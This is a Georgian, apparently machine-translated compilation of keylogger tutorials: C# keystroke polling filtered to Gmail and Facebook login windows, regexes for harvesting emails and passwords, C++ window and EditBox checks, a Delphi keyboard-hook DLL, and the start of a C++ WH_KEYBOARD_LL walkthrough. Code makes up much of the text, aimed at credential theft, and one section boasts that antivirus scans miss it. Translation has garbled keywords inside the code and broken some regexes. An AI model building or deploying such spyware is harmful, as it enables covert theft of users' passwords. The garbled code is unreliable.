ინფორმაციული უსაფრთხოების ლაბორატორია. Keylogger, ან რა აკრიფა კლავიატურაზე? მარტივი keylogger-ის შექმნა Python-ში

ჰაკერების სამყარო შეიძლება დაიყოს თავდამსხმელთა სამ ჯგუფად:


1) "Skids" (script kiddies) - პატარა დამწყები ჰაკერები, რომლებიც აგროვებენ ცნობილ კოდს და კომუნალურ პროგრამებს და იყენებენ მათ რამდენიმე მარტივი მავნე პროგრამის შესაქმნელად.


2) „მყიდველები“ ​​არიან არაკეთილსინდისიერი მეწარმეები, თინეიჯერები და სხვა მღელვარების მაძიებლები. ისინი ყიდულობენ სერვისებს ინტერნეტში ასეთი პროგრამული უზრუნველყოფის დასაწერად, მისი დახმარებით აგროვებენ სხვადასხვა პირად ინფორმაციას და, შესაძლოა, ხელახლა ყიდიან.


3) “Black Hat Coders” - პროგრამირების გურუ და არქიტექტურის ექსპერტები. ისინი წერენ კოდს ნოუთბუქში და ავითარებენ ახალ ექსპლოიტებს ნულიდან.


შეუძლია ვინმეს, ვისაც აქვს კარგი პროგრამირების უნარი, გახდეს ბოლო? არა მგონია, რომ DEFCON-ის რამდენიმე სესიაზე დასწრების შემდეგ დაიწყებ რეგინის (ბმულის) მსგავსის შექმნას. მეორე მხრივ, მე მჯერა, რომ ინფორმაციული უსაფრთხოების ოფიცერი უნდა დაეუფლოს ზოგიერთ კონცეფციას, რომელზედაც აგებულია მავნე პროგრამა.


რატომ სჭირდება ინფორმაციული უსაფრთხოების პერსონალს ეს საეჭვო უნარები?


Იცოდე შენი მტერი. როგორც ჩვენ განვიხილეთ Inside Out ბლოგზე, თქვენ უნდა იფიქროთ, როგორც დამნაშავე, რომ შეაჩეროთ იგი. მე ვარ ინფორმაციული უსაფრთხოების სპეციალისტი ვარონისში და ჩემი გამოცდილებიდან გამომდინარე, თქვენ უფრო ძლიერი იქნებით ამ საქმეში, თუ გესმით, რა ნაბიჯებს გადადგამს თავდამსხმელი. ამიტომ გადავწყვიტე დამეწყო პოსტების სერია იმ დეტალების შესახებ, რომლებიც დგას მავნე პროგრამებისა და ჰაკერების სხვადასხვა ოჯახების შესახებ. მას შემდეგ რაც გააცნობიერებთ, თუ რამდენად ადვილია შეუმჩნეველი პროგრამული უზრუნველყოფის შექმნა, შეიძლება დაგჭირდეთ თქვენი კომპანიის უსაფრთხოების პოლიტიკის გადახედვა. ახლა უფრო დეტალურად.


ამ არაფორმალური "ჰაკერების 101" კლასისთვის გჭირდებათ გარკვეული პროგრამირების ცოდნა (C# და java) და Windows არქიტექტურის ძირითადი გაგება. გაითვალისწინეთ, რომ რეალურად მავნე პროგრამა იწერება C/C++/Delphi-ში, რათა არ იყოს დამოკიდებული ფრეიმიკებზე.


Keylogger


Keylogger არის პროგრამული უზრუნველყოფა ან რაიმე სახის ფიზიკური მოწყობილობა, რომელსაც შეუძლია ხელი შეუშალოს და დაიმახსოვროს კლავიშების დარტყმა კომპრომეტირებულ მანქანაზე. ეს შეიძლება ჩაითვალოს ციფრულ ხაფანგად კლავიატურაზე ყოველი დაჭერისთვის.
ხშირად ეს ფუნქცია დანერგილია სხვა, უფრო რთულ პროგრამულ უზრუნველყოფაში, მაგალითად, Trojans (Remote Access Trojans RATS), რომელიც უზრუნველყოფს თავდამსხმელისთვის თავდასხმული ინფორმაციის მიწოდებას. ასევე არსებობს ტექნიკის კლავილოგერები, მაგრამ ისინი ნაკლებად გავრცელებულია, რადგან... საჭიროებს პირდაპირ ფიზიკურ წვდომას მანქანასთან.


თუმცა, Keylogger-ის ძირითადი ფუნქციების შექმნა საკმაოდ მარტივია დაპროგრამება. გაფრთხილება. თუ გსურთ სცადოთ რომელიმე ქვემოთ ჩამოთვლილიდან, დარწმუნდით, რომ გაქვთ ნებართვები და არ არღვევთ არსებულ გარემოს და უმჯობესია ეს ყველაფერი გააკეთოთ იზოლირებულ VM-ზე. შემდეგი, ეს კოდი არ იქნება ოპტიმიზირებული, მე უბრალოდ გაჩვენებთ კოდის ხაზებს, რომლებსაც შეუძლიათ ამოცანის შესრულება, ეს არ არის ყველაზე ელეგანტური ან ოპტიმალური გზა. და ბოლოს, მე არ გეტყვით, თუ როგორ უნდა გააკეთოთ keylogger რეზისტენტული გადატვირთვისთვის, ან სცადოთ, რომ ის სრულიად შეუმჩნეველი გახადოთ სპეციალური პროგრამირების ტექნიკის გამოყენებით, ასევე წაშლისაგან დაცვა მაშინაც კი, თუ ის აღმოჩენილია.



კლავიატურასთან დასაკავშირებლად უბრალოდ უნდა გამოიყენოთ 2 ხაზი C#-ში:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

შეგიძლიათ მეტი გაიგოთ GetAsyncKeyState ფუნქციის შესახებ MSDN-ზე:


გასაგებად: ეს ფუნქცია განსაზღვრავს, დაჭერილი იყო თუ ღილაკი ზარის დროს და იყო თუ არა დაჭერილი წინა ზარის შემდეგ. ახლა ჩვენ მუდმივად ვუწოდებთ ამ ფუნქციას კლავიატურიდან მონაცემების მისაღებად:


1. while (true) 2. ( 3. Thread.Sleep(100); 4. for (Int32 i = 0; i< 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Რა ხდება აქ? ეს ციკლი გამოკითხავს თითოეულ კლავიშს ყოველ 100 ms-ში, რათა დადგინდეს მისი მდგომარეობა. თუ რომელიმე მათგანი დაჭერილია (ან დაჭერილია), ამის შესახებ შეტყობინება გამოჩნდება კონსოლზე. რეალურ ცხოვრებაში, ეს მონაცემები ბუფერირებულია და ეგზავნება თავდამსხმელს.


ჭკვიანი keylogger

მოიცადეთ, არის თუ არა აზრი ყველა აპლიკაციიდან ყველა ინფორმაციის წაშლის მცდელობას?
ზემოთ მოცემული კოდი ამოიღებს კლავიატურის დაუმუშავებელ შეყვანას ნებისმიერი ფანჯრიდან და შეყვანის ველიდან, რომელსაც ამჟამად აქცენტი აქვს. თუ თქვენი მიზანია საკრედიტო ბარათის ნომრები და პაროლები, მაშინ ეს მიდგომა არ არის ძალიან ეფექტური. რეალური სამყაროს სცენარებისთვის, როდესაც ასეთი keylogger შესრულებულია ასობით ან ათასობით მანქანაზე, მონაცემთა შემდგომი ანალიზი შეიძლება გახდეს ძალიან გრძელი და საბოლოო ჯამში უაზრო, რადგან თავდამსხმელისთვის ღირებული ინფორმაცია ამ დროისთვის შეიძლება მოძველებული იყოს.


დავუშვათ, რომ მსურს ფეისბუქის ან Gmail-ის რწმუნებათა სიგელების მოპოვება მოწონებების გასაყიდად. მაშინ ახალი იდეა არის კლავიშების გააქტიურება მხოლოდ მაშინ, როდესაც ბრაუზერის ფანჯარა აქტიურია და გვერდის სათაურში არის სიტყვა Gmail ან facebook. ამ მეთოდის გამოყენებით მე ვზრდი რწმუნებათა სიგელების მიღების შანსებს.


კოდის მეორე ვერსია:


1. while (true) 2. ( 3. IntPtr სახელური = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. ( 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - შესვლა ან რეგისტრაცია")) 8. ( 9. //კლავიატურის შემოწმება 10. ) 11. ) 12. Thread.Sleep(100); 13. )

ეს ფრაგმენტი ამოიცნობს აქტიურ ფანჯარას ყოველ 100 წამში. ეს კეთდება GetForegroundWindow ფუნქციის გამოყენებით (დამატებითი ინფორმაცია MSDN-ზე). გვერდის სათაური ინახება buff ცვლადში, თუ ის შეიცავს gmail-ს ან facebook-ს, მაშინ იწოდება კლავიატურის სკანირების ფრაგმენტი.


ამით ჩვენ დავრწმუნდით, რომ კლავიატურა სკანირებულია მხოლოდ მაშინ, როდესაც ბრაუზერის ფანჯარა ღიაა facebook-ისა და gmail-ის საიტებზე.


კიდევ უფრო ჭკვიანი keylogger


დავუშვათ, რომ თავდამსხმელმა შეძლო მონაცემების მოპოვება ჩვენი მსგავსი კოდის გამოყენებით. მოდით ასევე ვივარაუდოთ, რომ ის საკმარისად ამბიციურია ათობით ან ასობით ათასი აპარატის დაინფიცირებისთვის. შედეგი: უზარმაზარი ფაილი გიგაბაიტიანი ტექსტით, რომელშიც ჯერ კიდევ საჭიროა საჭირო ინფორმაციის მოძიება. დროა გაეცნოთ რეგულარულ გამონათქვამებს ან რეგექსს. ეს არის რაღაც მინი ენა გარკვეული შაბლონების შესაქმნელად და ტექსტის სკანირებისთვის მოცემულ შაბლონებთან შესაბამისობისთვის. მეტი შეგიძლიათ გაიგოთ აქ.


გამარტივების მიზნით, მე დაუყოვნებლივ მივცემ მზა გამონათქვამებს, რომლებიც შეესაბამება შესვლის სახელებს და პაროლებს:


1. //ვეძებ საფოსტო მისამართს 2. ^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* + \-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) ( 3)(1,3)))$ 3. 4. 5. //ვეძებთ პაროლს 6. (?=^.(6,)$)(?=.*\d)(?=.*)

ეს გამონათქვამები აქ არის მინიშნება იმისა, თუ რა შეიძლება გაკეთდეს მათი გამოყენებით. რეგულარული გამონათქვამების გამოყენებით შეგიძლიათ მოძებნოთ (და იპოვოთ!) ნებისმიერი კონსტრუქცია, რომელსაც აქვს კონკრეტული და უცვლელი ფორმატი, მაგალითად, პასპორტის ნომრები, საკრედიტო ბარათები, ანგარიშები და პაროლებიც კი.
მართლაც, რეგულარული გამონათქვამები არ არის ყველაზე წასაკითხი ტიპის კოდი, მაგრამ ისინი პროგრამისტის ერთ-ერთი საუკეთესო მეგობარია, თუ არსებობს ტექსტის ანალიზების ამოცანები. Java, C#, JavaScript და სხვა პოპულარულ ენებს უკვე აქვთ მზა ფუნქციები, რომლებშიც შეგიძლიათ რეგულარული რეგულარული გამონათქვამების გადაცემა.


C#-ისთვის ასე გამოიყურება:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* +\-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) (3)(1,3)))$"); 2. Regex re2 = new Regex(@"(?=^.(6,)$)(?=.*\d)(?=.*)"); 3. string email = " [ელფოსტა დაცულია]"; 4. string pass = "abcde3FG"; 5. Match შედეგი = re.Match(email); 6. Match result2 = re2.Match(pass);

სადაც პირველი გამოხატულება (re) ემთხვევა ნებისმიერ ელფოსტას, ხოლო მეორე (re2) ემთხვევა 6 სიმბოლოზე მეტი ნებისმიერი ალფაციფრული სტრუქტურას.


უფასო და სრულიად შეუმჩნეველი


ჩემს მაგალითში გამოვიყენე Visual Studio - შეგიძლიათ გამოიყენოთ თქვენი საყვარელი გარემო - 30 წუთში ასეთი keylogger-ის შესაქმნელად.
მე რომ ნამდვილი თავდამსხმელი ვიყო, მაშინ დავმიზნებდი რაიმე რეალურ სამიზნეს (საბანკო საიტები, სოციალური ქსელები და ა.შ.) და შევცვლიდი კოდს ამ მიზნების შესატყვისად. რა თქმა უნდა, მე ასევე გავმართავ ფიშინგს ელ.ფოსტის კამპანიას ჩვენი პროგრამით.


რჩება ერთი კითხვა: ნამდვილად იქნება თუ არა ასეთი პროგრამული უზრუნველყოფის აღმოჩენა უსაფრთხოების პროგრამების მიერ?


შევადგინე ჩემი კოდი და შევამოწმე exe ფაილი Virustotal ვებსაიტზე. ეს არის ვებ-ზე დაფუძნებული ინსტრუმენტი, რომელიც ითვლის თქვენ მიერ გადმოწერილი ფაილის ჰეშს და ეძებს მას ცნობილი ვირუსების მონაცემთა ბაზაში. სიურპრიზი! ბუნებრივია, ვერაფერი იპოვეს.



ეს არის მთავარი! თქვენ ყოველთვის შეგიძლიათ შეცვალოთ კოდი და განავითაროთ, მუდამ რამდენიმე ნაბიჯით უსწრებთ საფრთხის სკანერებს. თუ თქვენ შეძლებთ საკუთარი კოდის დაწერას, ის თითქმის გარანტირებული იქნება, რომ ის შეუმჩნეველი იქნება. სრული ანალიზი შეგიძლიათ წაიკითხოთ ამ გვერდზე.


ამ სტატიის მთავარი მიზანია აჩვენოს, რომ მხოლოდ ანტივირუსების გამოყენებით თქვენ ვერ შეძლებთ სრულად უზრუნველყოთ უსაფრთხოება თქვენს საწარმოში. პოტენციურად მავნე ქმედებების იდენტიფიცირებისთვის საჭიროა ყველა მომხმარებლის და თუნდაც სერვისის ქმედებების უფრო სიღრმისეული შეფასება.


შემდეგ სტატიაში მე გაჩვენებთ, თუ როგორ უნდა გააკეთოთ ასეთი პროგრამული უზრუნველყოფის მართლაც გამოუცნობი ვერსია.

Keylogger-ების დაწერის შესახებ
უკვე ბევრჯერ უთქვამს, მაგრამ ყველა
აქვს ერთი დიდი ნაკლი - როგორც წესი,
საჭიროა ძალიან შეზღუდული ცოდნა
ინფორმაცია, ვიდრე ყველაფერი ჩაწეროთ ჟურნალის ფაილში,
რას წერს მომხმარებელი კლავიატურაზე, თქვენთვის ნაკლებად სავარაუდოა
მისცემს უამრავ საკვებს აზროვნების ჟურნალებისთვის
CS თამაშის დროს ღილაკების დაჭერა 😉

აქედან გამომდინარეობს, რომ ჯაშუში უნდა იყოს
მოწინავე და არა სულელურად დაწერე ყველაფერი
აძლევენ :) კიდე დაასახელე ასეთი პროგრამა
ჯაშუშს ენა არ აბრუნებს - თითქმის
ელექტრონული აგენტი 007:-))) გზები
ისე, რომ პროგრამა წერს ინტერესთა ჟურნალში
ძალიან ბევრი მასალა გვაქვს. უმარტივესი -
აკონტროლეთ აქტიური ფანჯრები, ე.ი. რომელშიც
ღილები ახშობს ამ წუთას :) როგორ ხარ?
მე ვფიქრობ, იცით, ჯაშუშები ჩვეულებრივ შედგება
შესრულებადი ფაილი და DLL. ეს გამოწვეულია იმით
რა უნდა გადაჭრას შეტყობინებები ფანჯარაში
თქვენ უნდა შექმნათ ახალი PROCESS და უმეტესობა
ამის გაკეთების მოსახერხებელი გზაა dll-ის გამოყენება.
ამიტომ გააქტიურების მიზნით
რეალურად თავად ლოგერი, თქვენ დაგჭირდებათ ის სწორში
DLL-ის ჩატვირთვის მომენტი და როდესაც ფანჯარა აქტიურია
იცვლება რაღაც სხვაზე - გადმოტვირთეთ იგი მეხსიერებიდან.

მოდით შევხედოთ DLL–ებთან მუშაობის ფუნქციებს Visual ენაზე
C++. dll იტვირთება მეხსიერებაში
ფუნქცია hINSTAGE=LoadLibrary("name.dll"), სადაც hINSTAGE -
როგორც მეხსიერებაში ჩატვირთული DLL-ის აღმწერი,
name.dll - ბიბლიოთეკის სახელი. მისი განტვირთვისთვის,
არის ფუნქცია FreeLibrary(hINSTAGE);

ახლა იმის შესახებ, თუ როგორ შეგვიძლია მივიღოთ საჭირო ნივთები
აპლიკაციები. მაგალითად, ჩვენ ვიცით, რომ მომხმარებელი
კითხულობს ფოსტას ვებსაიტის www.mail.ru საშუალებით, შემდეგ შეგიძლიათ
დააკონფიგურირეთ აგენტი ისე, რომ ის წყვეტს
კლავიატურის დარტყმა, როდესაც მომხმარებელი მიდის მასზე
ვებგვერდი. (უნდა გვახსოვდეს, რომ ზოგიერთში
კლავიატურის ჯაშუშური აპები საერთოდ არ არის
შეუძლია იმუშაოს, მაგალითად, მისამართების ზოლში
Internet Explorer"a - ეს იწვევს "ავარიას
პროგრამების დასრულება“ - კიდევ რისგან ხარ
ვინდოუსი მინდა :))) ამ მეთოდისთვის საკმაოდ
ასევე შესაფერისია აკრიფეთ პაროლების წაკითხვა
- თუ მომხმარებელს აწუხებს პარანოია და ყოველ ჯერზე
შეაქვს შესვლა და გადასასვლელი ხელით :) ან მართლა
საინტერესოა, რას წერს ის Outlook-ში ან
რვეულში. აქ არის კოდის ის ნაწილი, რომელიც აკეთებს
ფანჯრების სათაურების შედარება ჩვენ გვჭირდება.

HINSTAGE hINSTAGE;

ხოლო (1)
{
//ციკლის დაწყება.

int sl,ll;
ll=1;
sl=2;
//ცვლადები ამისთვის
მრიცხველი
ა.
char ქ;
HWND hw;
//გადავიდეთ უმარტივესზე
მიერ - სტრიქონების შედარება სიმბოლოებით:
შედეგად მიღებული ფანჯრის სათაური და ჩვენ გვჭირდება
ხაზი.

ხოლო (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128); // წაიკითხე

char stt="_აქ ვწერთ სასურველის სათაურს
Windows ჩვენთვის_№1";

sl=strlen(stt);
ll=0;
ხოლო (stt==st)
//შედარება
ხაზი სიმბოლოებით
//უფრო მოსახერხებელია ამის გაკეთება იმ პოზიციიდან, რომელიც იქნება
შეამოწმეთ შეესაბამება თუ არა საჭირო
//ჩვენ შეგვიძლია გამოვიყენოთ სტრიქონი სხვა სტრიქონის ნაწილად, თქვენ შეგიძლიათ
გააკეთეთ მსგავსი //ფართო ფილტრი.

{
ll++;
}

თუ (ll==sl) ( //თუ სტრიქონები
მატჩი 1-ლი ხაზის ბოლომდე -

შეჩერება; //პროცესის შეწყვეტა
}
// და ასე შემდეგ - თუ
თქვენ უნდა შეამოწმოთ მრავალი ფანჯრის არსებობა.

char stt="_აქ ვწერთ სასურველის სათაურს
Windows ჩვენთვის_No2";
sl=strlen(stt);
ll=0;
ხოლო (stt==st)
{
ll++;
}

თუ (ll==sl) (
შეჩერება; //პროცესის შეწყვეტა
}

თანმიმდევრული შემოწმების ნაცვლად, შეგიძლიათ
პარალელის გაკეთება შედარებისას
რიგის ელემენტების ერთი ციკლი, თუ მინიმუმ ერთი
ემთხვევა - მაშინ DLL მზვერავი გააქტიურებულია.

hINSTAGE=LoadLibrary("key1.dll");

ახლა ჩვენ მუდმივად უნდა შევამოწმოთ
რჩება თუ არა ეს ფანჯარა აქტიური.

ხოლო (ll==sl) //Ნახვამდის
ხაზები ემთხვევა - ჩვენ ადგილზე ვტრიალებთ

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// წაიკითხე
ამჟამად აქტიური ფანჯარა.

ll=0;
ხოლო (stt==st)
{
ll++;
}
}

ციკლიდან გამოსვლა მიუთითებს, რომ აქტიურია
ფანჯარა შეიცვალა, ასე რომ, ჩვენ განვტვირთავთ "spyware"
ბიბლიოთეკა და ციკლი იწყება თავიდან - ე.ი.
პროგრამა კვლავ ელოდება ერთ-ერთს
საჭირო ფანჯრები.

უფასო ბიბლიოთეკა (hINSTAGE);

თუმცა, ზემოხსენებულ მეთოდსაც აქვს
ნაკლოვანებები - საჭიროა ყოველ ჯერზე შემოწმება
ფანჯრების მთელი სიიდან არის ის, რაც გჭირდებათ?
აქტიური ვართ ამ მომენტში. Ამიტომაც
შეგიძლიათ გამოიყენოთ სხვა ალგორითმი - არ შეამოწმოთ
ფანჯრის სათაური და შეხედეთ თუ არა ამ
EditBox ტიპის ფანჯრის ელემენტები, როგორც წესი,
იქ პაროლები წერია :) ამისთვის იქნება
შეხედეთ ამ ფანჯრის ელემენტებს - და თუ
მათ შორის არის Edit - შემდეგ ვტვირთავთ DLL-ს.

char p2,p3; //მაივები
სიმბოლოები ფანჯრის სათაურებისთვის.

ჩვენ კვლავ ვამოწმებთ ყველა ფანჯარას მარყუჟში:

while (p3!="რედაქტირება") //Ნახვამდის
ჩვენ ვერ ვიპოვნეთ ფანჯარა რედაქტირების ყუთით - გაუშვით მარყუჟი

{

hw=GetForegroundWindow();

HWND hwnd_child; //ცვლადი
ფანჯრის ელემენტი

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
if (p3!=რედაქტირება)
//თუ პირველია
ნაპოვნია ფანჯრის ელემენტები - არა EditBox - მაშინ
შემდგომში ეძებს

{
ხოლო (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
if (p3=="რედაქტირება")
{
შეჩერება;
}
}
}
}

ახლა თავად ჯაშუშური DLL-ის შესახებ.
სჯობს დელფოში დაწერო, რადგან ეს
პასკალის მოწიფულ შთამომავალს ასეთი არ ჰყავს
გაუკუღმართებული „სიპიფიშ“ ჩვევა
მონაცემების ტიპების შესწავლა. Შექმნა
აირჩიეთ ბიბლიოთეკა File-New-Direct Link Library - და
DLL-ის შაბლონი მზად არის. და აქ არის თავად კოდი:

ბიბლიოთეკის გასაღები1;
იყენებს ვინდოუსს;

ვარ
KHook: HHOOK; //ცვლადი ამისთვის
"ხაფანგები"

ფუნქცია KProc(კოდი: მთელი რიცხვი; wParam: Word; lParam: LongInt): LongInt; stdcall;
კონსტ
KState: მთელი რიცხვი = 1073741824; //კოდი
"გასაღები დაჭერილია"

ვარ
Simv: ShortString;
KL: ჩარის მასივი; //ამისთვის
კლავიატურის განლაგების შემოწმება

FStruct: TOFSTRUCT;
F:TextFile;
//ცვლადი
ფაილი ჟურნალის ჩასაწერად.

დაიწყოს

// არასაჭიროების მოცილება
შეტყობინებები
თუ (lParam და KState)<>0 მაშინ
დაიწყოს

გასვლა;
დასასრული;

AssignFile(F, "keylog.txt");

// ცდილობს გახსნას
ფაილი "keylog.txt":
თუ OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR მაშინ
დაიწყოს
ხელახლა ჩაწერა (F);
// თუ ფაილი არ არის
შექმნა - ჩვენ ვქმნით.

დასასრული
elseAppend(F);
//თუ არის, დაწერე
დასასრული.

Simv:=chr(0); //აღდგენა ნულამდე
კლავიატურიდან წაკითხული სიმბოლოს ცვლადი.

// გაანალიზეთ კოდი
გასაღები დაჭერილი
საქმე wParam of
// ნომრები
48..57: Simv:=Chr(wParam);
96: სიმვ:="0";
97: სიმვ:="1";
...
104: სიმვ:="8";
105: სიმვ:="9";
189,109: სიმვ:="-";
110: სიმვ:=".";
111: სიმვ:="/";
დასასრული;

GetKeyboardLayoutName(KL); //
განლაგების შემოწმება

თუ KL = "00000409" მაშინ // თუ
ლათინური:

დაიწყოს
საქმე wParam of
219: სიმვ:="[";
221: სიმვ:="]";
186: სიმვ:=";";
222: სიმვ:=""";
188: სიმვ:=",";
190: სიმვ:=".";
191: სიმვ:="/";
65..90: Simv:=Chr(wParam);
დასასრული;
დასასრული;
დასასრული;
თუ KL = "00000419" მაშინ
// თუ
რუსული

დაიწყოს
საქმე wParam of
219: სიმვ:="X";
221: სიმვ:="Ъ";
186: Simv:="F";
222: Simv:="E";
188: სიმვ:="ბ";
190: სიმვ:"იუ";
191: სიმვ:=".";
65: Simv:="F";
...
87: Simv:="C";
88: Simv:="H";
89: Simv:="N";
90: სიმვ:="მე";
დასასრული;

//თუ სიმბოლო არ არის ცარიელი (ე.ი.
თუ დაჭერილი იყო ალფანუმერული ღილაკი)
//შემდეგ ჩაწერეთ ფაილში
თუ სიმვ<>"" მაშინ
ჩაწერა (F, Simv);
//ფაილის დახურვა
CloseFile(F);

// გაგზავნეთ შეტყობინება
სხვა ხაფანგები სისტემაში
შედეგი:=CallNextHookEx(KHook, კოდი, wParam, lParam);
დასასრული;

დაიწყოს
//ხაფანგის დაყენება
კლავიატურის შეტყობინებების ჩასართავად.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

ეს პროგრამა ასევე შეიძლება გამარტივდეს
განაცხადის მიხედვით – თუ
ვთქვათ, თქვენ მხოლოდ ერთხელ უნდა დათვალოთ
პაროლი აკრიფედან - შემდეგ შეგიძლიათ დააყენოთ
ფანჯრების შემოწმება მანამ, სანამ არ დაგვჭირდება და როდის იქნება
გააქტიურდება - ჩატვირთეთ ბიბლიოთეკა
key1.dll, დაელოდეთ გარკვეულ დროს
რომელშიც მომხმარებელს ექნება დრო, რომ ეს სიმბოლოები ჩაწეროს
კლავიატურა და შემდეგ გადმოტვირთეთ ბიბლიოთეკა და
დაასრულეთ პროგრამა. Რაღაც მსგავსი :)

hINSTAGE=LoadLibrary("key1.dll");
ძილი (10000);
//დაელოდეთ 10 წამს, ამისათვის
დრო, როდესაც მომხმარებელი აკრიფებს პაროლს.
//დრო შეიძლება გაიზარდოს დამოკიდებულია
მომხმარებლის ინჰიბირების დონის მიხედვით
// და მისი აკრეფის სიჩქარე კლავიატურაზე :)

უფასო ბიბლიოთეკა (hINSTAGE);

PS: ყველა ზემოაღნიშნული მასალა იყო მოცემული
ექსკლუზიურად დემო და
ზოგადსაგანმანათლებლო მიზნები, ავტორმა დასახა
დავალება მაქვს ვაჩვენო
"განახლებული" ტიპის პროგრამის ალგორითმი
keylogger" და ყველა
პასუხისმგებლობა ამის გამოყენებაზე
მასალა მოდის თქვენზე (უზომო
ტვირთი 🙂) კოდის განხორციელება შეიცავს
მცირე უზუსტობები, რომლებიც რეალურად არ ზიანს აყენებს
ალგორითმი - შეეცადეთ იპოვოთ ისინი თავად)).

PSS: რა თქმა უნდა, keylogger-ს შეუძლია არა მხოლოდ
ასრულებს თავის ძირითად ფუნქციას -
რეალურად ჩაწერეთ ღილაკების დაჭერა ჟურნალში, არამედ
შეცვალეთ დაჭერილი ღილაკების მნიშვნელობები თქვენი საჭიროების მიხედვით
გემო - მაგრამ როგორ გავაკეთოთ ეს და რისთვის არის ეს
შეიძლება უბრალოდ სასიცოცხლოდ მნიშვნელოვანი იყოს - in
შემდეგში :)

გამარჯობა ხაბროვსკის მცხოვრებლებო.

გადავწყვიტე დამეწერა პროგრამული კლავიატურის ლოგერი C++-ში WinAPI-ის გამოყენებით. ვერ ვიტყვი, რომ რაღაც ჯაშუშურ მიზანს ვატარებდი, როცა დავწერე, უფრო სწორად, ვიცნობდი WinAPI ჰუკებს. ვინაიდან არც ისე ცუდი აღმოჩნდა და Habré-ზე არ არის სტატია პროგრამული ლოგირების შესახებ, გადავწყვიტე დამეწერა ჩემი.

როგორ კეთდება ეს?

კლავიატურის კაუჭი გამოიყენებოდა კლავიშების დასაჭერად.

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

კლავიატურის ყველა დარტყმის ჩასართავად, მოსახერხებელია მიუთითოთ WH_KEYBOARD ან WH_KEYBOARD_LL როგორც idHook პარამეტრი. ერთადერთი განსხვავება ისაა, რომ WH_KEYBOARD_LL ასევე წყვეტს სისტემის კლავიშების დაჭერას (ანუ Alt ან რომელიმე კლავიშს, სანამ Alt დაჭერილია), ამიტომ ჩვენ ავირჩევთ მას.

Lpfn არის მაჩვენებელი ფუნქციისკენ, რომელიც ამუშავებს მიღებულ შეტყობინებებს (ჩვენს შემთხვევაში, კლავიშების დაჭერით).
hMod არის აპლიკაციის ინსტანციის სახელური, რომელიც შეიცავს დამუშავების ფუნქციას.
dwThreadId არის იმ თემის იდენტიფიკატორი, რომლის შეტყობინებების ჩაჭრა გვინდა. ეს პარამეტრი უნდა იყოს დაყენებული 0-ზე, რათა მოხდეს შეტყობინებების ჩასმა ყველა ძაფიდან.

დაბრუნებული მნიშვნელობა არის სახელური ჩვენი კაუჭისთვის, რომელიც უნდა განთავისუფლდეს UnhookWindowsHookEx ფუნქციით გასვლისას.
დახმარებისთვის MSDN-ს ვუყურებთ, ჩვენ ვხედავთ ფუნქციის პროტოტიპს, რომელიც ამუშავებს შეტყობინებებს ამ კაუჭიდან.

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode უნდა იყოს HC_ACTION-ის ტოლი, წინააღმდეგ შემთხვევაში შეტყობინება გადაეცემა სხვა პროცესს.
wParam არის ერთ-ერთი შემდეგი მნიშვნელობა: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN ან WM_SYSKEYUP.
lParam არის KBDLLHOOKSTRUCT სტრუქტურის მაჩვენებელი, რომლის ველებში ჩვენ გვაინტერესებს მხოლოდ 2 პარამეტრი: vkCode (ვირტუალური კოდი) და დაჭერილი კლავიშის scanCode.
ამ ფუნქციამ უნდა დააბრუნოს CallNextHookEx ფუნქციის მნიშვნელობა, წინააღმდეგ შემთხვევაში მომდევნო კაუჭმა, რომელიც ამუშავებს მოვლენას, შეიძლება მიიღოს არასწორი შეტყობინების პარამეტრები.
ყოველ ჯერზე, როცა კლავიშს დააჭერთ, ჩვენი პროგრამა ჩაჭრის ამ მოვლენას და დაამუშავებს მას ჩვენი LowLevelKeyboardProc პროცედურით.

გასაღების ვირტუალური და სკანირების კოდი სიმბოლურ ფორმაში გადათარგმნისთვის, ჩვენ გვჭირდება ToAsciiEx ფუნქცია.

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwh);

პირველი 2 პარამეტრი არის გასაღების ვირტუალური და სკანირების კოდები, შესაბამისად.
lpKeyState — კლავიატურის მდგომარეობა, ამოწმებს რომელი კლავიშებია დაჭერილი/აქტიური.
lpChar არის მაჩვენებელი ორმაგი სიტყვისა, რომელშიც ფუნქცია ჩაწერს გასაღების სიმბოლურ გამოსახულებას.
uFlags არის პარამეტრი, რომელიც მიუთითებს მენიუს აქტივობაზე.
dwhkl — კლავიატურის განლაგების იდენტიფიკატორი.
დაბრუნებული მნიშვნელობა არის lpChar ბუფერში ჩაწერილი სიმბოლოების რაოდენობა. ჩვენ გვაინტერესებს შემთხვევა, როდესაც იწერება 1 სიმბოლო.
ძირითადად, ეს არის 3 ძირითადი ფუნქცია, რომელიც საჭიროა უმარტივესი კლავიატურის ლოგერისთვის.

ცოტა რამ პროგრამის შესახებ

